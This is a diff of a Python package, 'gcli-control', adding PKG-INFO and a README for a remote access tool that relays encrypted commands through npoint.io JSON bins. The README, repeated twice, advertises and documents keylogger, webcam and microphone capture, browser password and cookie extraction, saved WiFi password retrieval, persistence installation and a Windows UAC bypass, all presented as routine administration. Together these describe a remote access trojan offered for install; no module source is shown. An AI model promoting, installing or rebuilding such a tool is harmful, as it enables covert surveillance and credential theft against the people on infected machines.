gcli-control 0.4.0__tar.gz → 0.6.0__tar.gz

gcli_control-0.6.0/PKG-INFO

@@ -0,0 +1,327 @@
+Metadata-Version: 2.4
+Name: gcli-control
+Version: 0.6.0
+Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 120+ commands
+Author: gcli contributors
+License-Expression: MIT
+Project-URL: Homepage, https://github.com/gcli-control/gcli
+Project-URL: Repository, https://github.com/gcli-control/gcli
+Project-URL: Issues, https://github.com/gcli-control/gcli/issues
+Keywords: remote-access,npoint,encrypted,ssh,aes256
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Intended Audience :: System Administrators
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Operating System :: POSIX :: Linux
+Classifier: Operating System :: MacOS
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: System :: Systems Administration
+Classifier: Topic :: Security :: Cryptography
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+Requires-Dist: cryptography>=41.0
+
+# gcli — Remote Access Tool via npoint.io
+
+Encrypted command relay over [npoint.io](https://npoint.io) JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.
+
+```
+┌──────────┐     commands     ┌─────────────┐     commands     ┌──────────┐
+│ gcli ssh │ ───────────────> │ npoint.io   │ ───────────────> │gcli host │
+│ (client) │ <─────────────── │ (JSON bin)  │ <─────────────── │ (daemon) │
+└──────────┘     results      └─────────────┘     results      └──────────┘
+```
+
+## Install
+
+```bash
+pip install gcli-control
+```
+
+## Quick Start
+
+**Host (remote machine):**
+```bash
+gcli host --password MySecret123
+gcli host --password MySecret123 --foreground  # debug mode
+```
+
+**Client (your machine):**
+```bash
+gcli ssh --password MySecret123
+```
+
+**Stop host:**
+```bash
+gcli stop
+```
+
+## Security
+
+- AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
+- zlib compression before encryption (60-80% payload reduction)
+- PBKDF2 key caching (~150ms saved per operation)
+- Password never leaves your machine — only encrypted payloads
+- Built-in tamper detection (GCM authentication tag)
+- Persistent HTTPS connection reuse (reduced TLS handshake overhead)
+
+## Command Reference
+
+### Core Commands
+
+| Command | Description |
+|---------|-------------|
+| Any text | Execute shell command on remote host |
+| `:help` | Show available commands |
+| `:info` | Remote system info (hostname, OS, user, IP) |
+| `:ping` | Ping remote host (show latency) |
+| `:upload <local> <remote>` | Upload file to remote host |
+| `:download <remote> <local>` | Download file from remote host |
+| `:timeout <seconds>` | Set exec timeout |
+| `:history` | Command history |
+
+### File Operations
+
+| Command | Description |
+|---------|-------------|
+| `:ls [path]` | List directory |
+| `:tree [path] [depth]` | Directory tree |
+| `:mkdir <path>` | Create directory |
+| `:rm <path>` | Delete file |
+| `:find <pattern>` | Find files by glob |
+| `:stat <path>` | File info |
+
+### Process & Monitoring
+
+| Command | Description |
+|---------|-------------|
+| `:ps [limit]` | List processes |
+| `:kill <pid>` | Kill process |
+| `:uptime` | Remote uptime |
+| `:cpu` | CPU usage |
+| `:mem` | Memory usage |
+| `:disk [path]` | Disk usage |
+| `:top [limit]` | Top processes by CPU |
+
+### Clipboard & Network
+
+| Command | Description |
+|---------|-------------|
+| `:clipget` | Get remote clipboard |
+| `:clipset <text>` | Set remote clipboard |
+| `:clipclear` | Clear clipboard |
+| `:dns <host>` | DNS lookup |
+| `:portcheck <host> <port>` | Check port |
+
+### Aliases & Scripts
+
+| Command | Description |
+|---------|-------------|
+| `:alias <n> <cmd>` | Create alias |
+| `:aliases` | List aliases |
+| `:script <c1; c2>` | Run script (semicolons) |
+
+### Security
+
+| Command | Description |
+|---------|-------------|
+| `:audit` | View audit log |
+| `:threat <cmd>` | Check threat level |
+| `:lock` | Lock session |
+| `:unlock` | Unlock session |
+
+### Advanced System
+
+| Command | Description |
+|---------|-------------|
+| `:netstat` | Active network connections |
+| `:services [list\|start\|stop] <name>` | Manage services |
+| `:screenshot` | Capture remote screen |
+| `:history [n]` | Remote shell history |
+| `:envset <K> <V>` | Set env variable on host |
+| `:grep <pattern> [path] [ext]` | Search files |
+| `:partitions` | Disk partitions |
+| `:whoami` | Remote user info |
+
+### Automation
+
+| Command | Description |
+|---------|-------------|
+| `:bulk <c1; c2>` | Bulk execute commands |
+| `:repeat <cmd> <n>` | Repeat command N times |
+| `:cron` | List scheduled tasks |
+| `:cron add <name> <cmd>` | Add scheduled task |
+| `:cron rm <name>` | Remove scheduled task |
+| `:snapshot` | Full env snapshot |
+| `:waitport <host> <port>` | Wait for port to open |
+
+### Forensics
+
+| Command | Description |
+|---------|-------------|
+| `:hash <path> [algo]` | File hash (md5/sha1/sha256/all) |
+| `:integrity <create\|verify> [path]` | File integrity baseline |
+| `:recent [hours]` | Recently modified files |
+| `:portprocess <port>` | Find process by port |
+| `:usb` | List USB devices |
+| `:suspicious` | Flag suspicious processes |
+| `:openfiles <pid>` | List open files for process |
+| `:envaudit` | Audit env for secrets |
+| `:startup` | List startup programs |
+
+### Transfer
+
+| Command | Description |
+|---------|-------------|
+| `:verify <path> <sha256>` | Verify file integrity |
+| `:diff <a> <b>` | Diff two files |
+| `:split <path> [size]` | Split file into pieces |
+| `:merge <pattern> <out>` | Merge split files |
+
+### Webcam & Audio
+
+| Command | Description |
+|---------|-------------|
+| `:camlist` | List cameras |
+| `:camcapture [id]` | Capture photo |
+| `:camrecord [id] [sec]` | Record video |
+| `:caminfo [id]` | Camera info |
+| `:audiodevices` | List microphones |
+| `:audiorecord [sec] [dev]` | Record audio |
+| `:audioinfo` | Audio system info |
+| `:audiolevel` | Current mic level |
+
+### Keylogger
+
+| Command | Description |
+|---------|-------------|
+| `:keylogstart` | Start key capture |
+| `:keylogstop` | Stop key capture |
+| `:keylogread [n]` | Read captured keys |
+| `:keylogstatus` | Keylogger status |
+| `:keylogsave [path]` | Save keys to file |
+
+### Persistence
+
+| Command | Description |
+|---------|-------------|
+| `:persist` | Full persistence status |
+| `:persist install [method]` | Install startup |
+| `:persist remove` | Remove startup |
+| `:persist list` | List persistence |
+| `:persist schedule` | Install scheduled task |
+| `:persist unschedule` | Remove scheduled task |
+| `:persist watchdog` | Install watchdog |
+| `:persist unwatchdog` | Remove watchdog |
+
+### Browser Data
+
+| Command | Description |
+|---------|-------------|
+| `:browsers` | List detected browsers |
+| `:bhistory [browser] [n]` | Browser history |
+| `:bcookies [browser]` | Browser cookies |
+| `:bbookmarks [browser]` | Browser bookmarks |
+| `:bdownloads [browser]` | Download history |
+| `:bpasswords [browser]` | Saved passwords |
+
+### WiFi
+
+| Command | Description |
+|---------|-------------|
+| `:wifistatus` | WiFi connection status |
+| `:wifiscan` | Scan nearby networks |
+| `:wifilist` | Saved WiFi profiles |
+| `:wificonnect <ssid> [pw]` | Connect to WiFi |
+| `:wifidisconnect` | Disconnect WiFi |
+| `:wifipassword <ssid>` | Show saved password |
+| `:wififorget <ssid>` | Remove saved profile |
+
+### Privilege & Elevation
+
+| Command | Description |
+|---------|-------------|
+| `:checkadmin` | Check admin/root status |
+| `:elevate` | Attempt UAC bypass (Windows) |
+| `:sudo <cmd>` | Run command as root |
+| `:sysinfo` | Detailed system info |
+
+### Network Config
+
+| Command | Description |
+|---------|-------------|
+| `:interfaces` | List network interfaces |
+| `:dns <iface> <servers>` | Set DNS servers |
+| `:proxy <h> <p> \| off` | Set/clear proxy |
+| `:firewall` | Firewall status |
+| `:fwallow <port> [name]` | Allow port in firewall |
+| `:arp` | ARP table |
+| `:hosts <ip> <host>` | Add hosts file entry |
+
+### Registry (Windows)
+
+| Command | Description |
+|---------|-------------|
+| `:reglist <key>` | List values in key |
+| `:regread <key> [val]` | Read registry value |
+| `:regwrite <key> <n> <v>` | Write value |
+| `:regdelete <key> <val>` | Delete value |
+| `:regsubkeys <key>` | List subkeys |
+| `:regsearch <query>` | Search registry |
+
+## Architecture
+
+```
+gcli/
+├── __main__.py        # CLI entry point
+├── __init__.py
+├── crypto.py          # AES-256-GCM + PBKDF2 key cache + zlib compression
+├── npoint.py          # npoint.io API (persistent HTTPS connection pool)
+├── protocol.py        # Document structure, race-condition safe append
+├── host.py            # Daemon: poll → decrypt → dispatch → encrypt → respond
+├── client.py          # SSH REPL with 100+ commands
+├── utils.py           # PID management, detach, system_info
+├── colors.py          # Cross-platform ANSI colors
+├── session.py         # Handshake, heartbeat, key rotation
+├── fileops.py         # ls, tree, mkdir, rm, stat, cp, mv, find, du
+├── processes.py       # ps, kill, process_info, env, uptime, network_info
+├── clipboard.py       # Clipboard sync
+├── netutils.py        # HTTP, DNS, port check, traceroute, speed test
+├── aliases.py         # Command aliases & scripting
+├── security.py        # Rate limiting, audit log, threat detection
+├── output.py          # Pagination, syntax highlighting, diff format
+├── monitoring.py      # CPU, memory, disk, processes, temperature
+├── system.py          # Netstat, services, screenshot, shell history, grep
+├── automation.py      # Bulk exec, repeat, cron, watchdog, env snapshot
+├── forensics.py       # File hash, integrity, recent files, USB, suspicious processes
+├── transfer.py        # Chunked file transfer, checksum, diff, split/merge
+├── webcam.py          # Camera capture & recording
+├── audio.py           # Microphone recording & levels
+├── keylog.py          # Keystroke capture
+├── persistence.py     # Startup, scheduled tasks, watchdog
+├── browser.py         # Browser history, cookies, bookmarks, passwords
+├── wifi.py            # WiFi management (scan, connect, profiles)
+├── elevator.py        # Privilege escalation (UAC bypass, sudo)
+├── network_config.py  # DNS, proxy, firewall, ARP, hosts
+└── registry.py        # Windows registry operations
+```
+
+## Requirements
+
+- Python 3.8+
+- `cryptography` package (required)
+- `psutil` (optional — better process/system monitoring)
+- `sounddevice` (optional — audio recording)
+- `opencv-python` (optional — webcam capture)
+- `pynput` (optional — keylogging on Linux/macOS)
+- Internet connection (for npoint.io)
+
+## License
+
+MIT

gcli_control-0.6.0/README.md

@@ -0,0 +1,298 @@
+# gcli — Remote Access Tool via npoint.io
+
+Encrypted command relay over [npoint.io](https://npoint.io) JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.
+
+```
+┌──────────┐     commands     ┌─────────────┐     commands     ┌──────────┐
+│ gcli ssh │ ───────────────> │ npoint.io   │ ───────────────> │gcli host │
+│ (client) │ <─────────────── │ (JSON bin)  │ <─────────────── │ (daemon) │
+└──────────┘     results      └─────────────┘     results      └──────────┘
+```
+
+## Install
+
+```bash
+pip install gcli-control
+```
+
+## Quick Start
+
+**Host (remote machine):**
+```bash
+gcli host --password MySecret123
+gcli host --password MySecret123 --foreground  # debug mode
+```
+
+**Client (your machine):**
+```bash
+gcli ssh --password MySecret123
+```
+
+**Stop host:**
+```bash
+gcli stop
+```
+
+## Security
+
+- AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
+- zlib compression before encryption (60-80% payload reduction)
+- PBKDF2 key caching (~150ms saved per operation)
+- Password never leaves your machine — only encrypted payloads
+- Built-in tamper detection (GCM authentication tag)
+- Persistent HTTPS connection reuse (reduced TLS handshake overhead)
+
+## Command Reference
+
+### Core Commands
+
+| Command | Description |
+|---------|-------------|
+| Any text | Execute shell command on remote host |
+| `:help` | Show available commands |
+| `:info` | Remote system info (hostname, OS, user, IP) |
+| `:ping` | Ping remote host (show latency) |
+| `:upload <local> <remote>` | Upload file to remote host |
+| `:download <remote> <local>` | Download file from remote host |
+| `:timeout <seconds>` | Set exec timeout |
+| `:history` | Command history |
+
+### File Operations
+
+| Command | Description |
+|---------|-------------|
+| `:ls [path]` | List directory |
+| `:tree [path] [depth]` | Directory tree |
+| `:mkdir <path>` | Create directory |
+| `:rm <path>` | Delete file |
+| `:find <pattern>` | Find files by glob |
+| `:stat <path>` | File info |
+
+### Process & Monitoring
+
+| Command | Description |
+|---------|-------------|
+| `:ps [limit]` | List processes |
+| `:kill <pid>` | Kill process |
+| `:uptime` | Remote uptime |
+| `:cpu` | CPU usage |
+| `:mem` | Memory usage |
+| `:disk [path]` | Disk usage |
+| `:top [limit]` | Top processes by CPU |
+
+### Clipboard & Network
+
+| Command | Description |
+|---------|-------------|
+| `:clipget` | Get remote clipboard |
+| `:clipset <text>` | Set remote clipboard |
+| `:clipclear` | Clear clipboard |
+| `:dns <host>` | DNS lookup |
+| `:portcheck <host> <port>` | Check port |
+
+### Aliases & Scripts
+
+| Command | Description |
+|---------|-------------|
+| `:alias <n> <cmd>` | Create alias |
+| `:aliases` | List aliases |
+| `:script <c1; c2>` | Run script (semicolons) |
+
+### Security
+
+| Command | Description |
+|---------|-------------|
+| `:audit` | View audit log |
+| `:threat <cmd>` | Check threat level |
+| `:lock` | Lock session |
+| `:unlock` | Unlock session |
+
+### Advanced System
+
+| Command | Description |
+|---------|-------------|
+| `:netstat` | Active network connections |
+| `:services [list\|start\|stop] <name>` | Manage services |
+| `:screenshot` | Capture remote screen |
+| `:history [n]` | Remote shell history |
+| `:envset <K> <V>` | Set env variable on host |
+| `:grep <pattern> [path] [ext]` | Search files |
+| `:partitions` | Disk partitions |
+| `:whoami` | Remote user info |
+
+### Automation
+
+| Command | Description |
+|---------|-------------|
+| `:bulk <c1; c2>` | Bulk execute commands |
+| `:repeat <cmd> <n>` | Repeat command N times |
+| `:cron` | List scheduled tasks |
+| `:cron add <name> <cmd>` | Add scheduled task |
+| `:cron rm <name>` | Remove scheduled task |
+| `:snapshot` | Full env snapshot |
+| `:waitport <host> <port>` | Wait for port to open |
+
+### Forensics
+
+| Command | Description |
+|---------|-------------|
+| `:hash <path> [algo]` | File hash (md5/sha1/sha256/all) |
+| `:integrity <create\|verify> [path]` | File integrity baseline |
+| `:recent [hours]` | Recently modified files |
+| `:portprocess <port>` | Find process by port |
+| `:usb` | List USB devices |
+| `:suspicious` | Flag suspicious processes |
+| `:openfiles <pid>` | List open files for process |
+| `:envaudit` | Audit env for secrets |
+| `:startup` | List startup programs |
+
+### Transfer
+
+| Command | Description |
+|---------|-------------|
+| `:verify <path> <sha256>` | Verify file integrity |
+| `:diff <a> <b>` | Diff two files |
+| `:split <path> [size]` | Split file into pieces |
+| `:merge <pattern> <out>` | Merge split files |
+
+### Webcam & Audio
+
+| Command | Description |
+|---------|-------------|
+| `:camlist` | List cameras |
+| `:camcapture [id]` | Capture photo |
+| `:camrecord [id] [sec]` | Record video |
+| `:caminfo [id]` | Camera info |
+| `:audiodevices` | List microphones |
+| `:audiorecord [sec] [dev]` | Record audio |
+| `:audioinfo` | Audio system info |
+| `:audiolevel` | Current mic level |
+
+### Keylogger
+
+| Command | Description |
+|---------|-------------|
+| `:keylogstart` | Start key capture |
+| `:keylogstop` | Stop key capture |
+| `:keylogread [n]` | Read captured keys |
+| `:keylogstatus` | Keylogger status |
+| `:keylogsave [path]` | Save keys to file |
+
+### Persistence
+
+| Command | Description |
+|---------|-------------|
+| `:persist` | Full persistence status |
+| `:persist install [method]` | Install startup |
+| `:persist remove` | Remove startup |
+| `:persist list` | List persistence |
+| `:persist schedule` | Install scheduled task |
+| `:persist unschedule` | Remove scheduled task |
+| `:persist watchdog` | Install watchdog |
+| `:persist unwatchdog` | Remove watchdog |
+
+### Browser Data
+
+| Command | Description |
+|---------|-------------|
+| `:browsers` | List detected browsers |
+| `:bhistory [browser] [n]` | Browser history |
+| `:bcookies [browser]` | Browser cookies |
+| `:bbookmarks [browser]` | Browser bookmarks |
+| `:bdownloads [browser]` | Download history |
+| `:bpasswords [browser]` | Saved passwords |
+
+### WiFi
+
+| Command | Description |
+|---------|-------------|
+| `:wifistatus` | WiFi connection status |
+| `:wifiscan` | Scan nearby networks |
+| `:wifilist` | Saved WiFi profiles |
+| `:wificonnect <ssid> [pw]` | Connect to WiFi |
+| `:wifidisconnect` | Disconnect WiFi |
+| `:wifipassword <ssid>` | Show saved password |
+| `:wififorget <ssid>` | Remove saved profile |
+
+### Privilege & Elevation
+
+| Command | Description |
+|---------|-------------|
+| `:checkadmin` | Check admin/root status |
+| `:elevate` | Attempt UAC bypass (Windows) |
+| `:sudo <cmd>` | Run command as root |
+| `:sysinfo` | Detailed system info |
+
+### Network Config
+
+| Command | Description |
+|---------|-------------|
+| `:interfaces` | List network interfaces |
+| `:dns <iface> <servers>` | Set DNS servers |
+| `:proxy <h> <p> \| off` | Set/clear proxy |
+| `:firewall` | Firewall status |
+| `:fwallow <port> [name]` | Allow port in firewall |
+| `:arp` | ARP table |
+| `:hosts <ip> <host>` | Add hosts file entry |
+
+### Registry (Windows)
+
+| Command | Description |
+|---------|-------------|
+| `:reglist <key>` | List values in key |
+| `:regread <key> [val]` | Read registry value |
+| `:regwrite <key> <n> <v>` | Write value |
+| `:regdelete <key> <val>` | Delete value |
+| `:regsubkeys <key>` | List subkeys |
+| `:regsearch <query>` | Search registry |
+
+## Architecture
+
+```
+gcli/
+├── __main__.py        # CLI entry point
+├── __init__.py
+├── crypto.py          # AES-256-GCM + PBKDF2 key cache + zlib compression
+├── npoint.py          # npoint.io API (persistent HTTPS connection pool)
+├── protocol.py        # Document structure, race-condition safe append
+├── host.py            # Daemon: poll → decrypt → dispatch → encrypt → respond
+├── client.py          # SSH REPL with 100+ commands
+├── utils.py           # PID management, detach, system_info
+├── colors.py          # Cross-platform ANSI colors
+├── session.py         # Handshake, heartbeat, key rotation
+├── fileops.py         # ls, tree, mkdir, rm, stat, cp, mv, find, du
+├── processes.py       # ps, kill, process_info, env, uptime, network_info
+├── clipboard.py       # Clipboard sync
+├── netutils.py        # HTTP, DNS, port check, traceroute, speed test
+├── aliases.py         # Command aliases & scripting
+├── security.py        # Rate limiting, audit log, threat detection
+├── output.py          # Pagination, syntax highlighting, diff format
+├── monitoring.py      # CPU, memory, disk, processes, temperature
+├── system.py          # Netstat, services, screenshot, shell history, grep
+├── automation.py      # Bulk exec, repeat, cron, watchdog, env snapshot
+├── forensics.py       # File hash, integrity, recent files, USB, suspicious processes
+├── transfer.py        # Chunked file transfer, checksum, diff, split/merge
+├── webcam.py          # Camera capture & recording
+├── audio.py           # Microphone recording & levels
+├── keylog.py          # Keystroke capture
+├── persistence.py     # Startup, scheduled tasks, watchdog
+├── browser.py         # Browser history, cookies, bookmarks, passwords
+├── wifi.py            # WiFi management (scan, connect, profiles)
+├── elevator.py        # Privilege escalation (UAC bypass, sudo)
+├── network_config.py  # DNS, proxy, firewall, ARP, hosts
+└── registry.py        # Windows registry operations
+```
+
+## Requirements
+
+- Python 3.8+
+- `cryptography` package (required)
+- `psutil` (optional — better process/system monitoring)
+- `sounddevice` (optional — audio recording)
+- `opencv-python` (optional — webcam capture)
+- `pynput` (optional — keylogging on Linux/macOS)
+- Internet connection (for npoint.io)
+
+## License
+
+MIT

{gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/__init__.py

@@ -2,5 +2,5 @@
 gcli — remote access tool via npoint.io.
 Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
 """
-__version__ = "0.4.0"
+__version__ = "0.6.0"
 __author__ = "gcli"